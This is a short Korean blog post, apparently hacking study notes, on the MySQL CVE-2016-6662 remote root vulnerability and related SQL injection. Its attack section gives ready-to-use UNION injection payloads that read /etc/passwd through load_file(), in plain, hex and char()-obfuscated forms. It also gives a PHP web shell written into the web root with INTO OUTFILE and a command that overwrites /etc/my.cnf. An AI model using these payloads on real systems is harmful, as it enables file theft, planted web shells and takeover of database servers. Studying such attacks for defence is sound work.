※ 참고 URL
- http://www.igloosec.co.kr/BLOG_MySQL%20Remote%20Root%20Code%20Execution%20%EC%B7%A8%EC%95%BD%EC%A0%90(CVE-2016-6662)%20%EB%B6%84%EC%84%9D?searchItem=&searchWord=&bbsCateId=1&gotoPage=1
- https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
- Load_file() 및 INTO OUTFILE 구문 이용 SQL Injection - https://m.blog.naver.com/PostView.nhn?blogId=koromoon&logNo=220151062561&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F
- Allinone VM 이용 -> root/1
※ 개요
- MySQL에서 원격에서 루트 권한으로 코드를 실행하거나 원격 시스템 파일을 다운로드할 수 있는 취약점(CVE-2016-6662)
- MySQL 기본 설치로 사용하는 로깅 기능을 악용해 MySQL 설정 파일(my.cnf)에 악의적인 설정을 주입하여 원격 및 권한 상승(루트 권한) 공격이 가능한 취약점
- SQL Injection 취약점과 함께 사용할 경우 MySQL 서버를 손상시킬 수 있음
- DB서버가 재부팅되는 경우부터 적용
※ 취약한 버전
※ 공격 구문
- Load_file() 함수 이용
- select * from member union select null, null, null, null, load_file('/etc/passwd');
- select * from member union select null, null, null, null, load_file(0x2f6574632f7061737764);
- select * from member union select null, null, null, null, load_file(char(47,101,116,99,47,112,97,115,115,119,100));
- 웹쉘만들기
- select * from member union select null, null, null, null, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/cmd.php';
-> mysql 사용자가 /var/www/html디렉터리에 접근권한이 없어 생성 불가
- 설정파일 덮어쓰기(into outfile)
- select * into outfile '/etc/my.cnf';
'Hacking > DB' 카테고리의 다른 글
[SQLi] Binary 코드를 이용한 Injection 우회 - MySQL (0) | 2018.03.14 |
---|---|
[SQLi] magic_quotes_gpc, mysql_real_escape_string() 우회 (0) | 2018.02.06 |
[SQLi] SQL Injection 필터링 우회 (0) | 2018.02.06 |
[Oracle] 오라클(Oracle) 권한 상승 (0) | 2018.02.05 |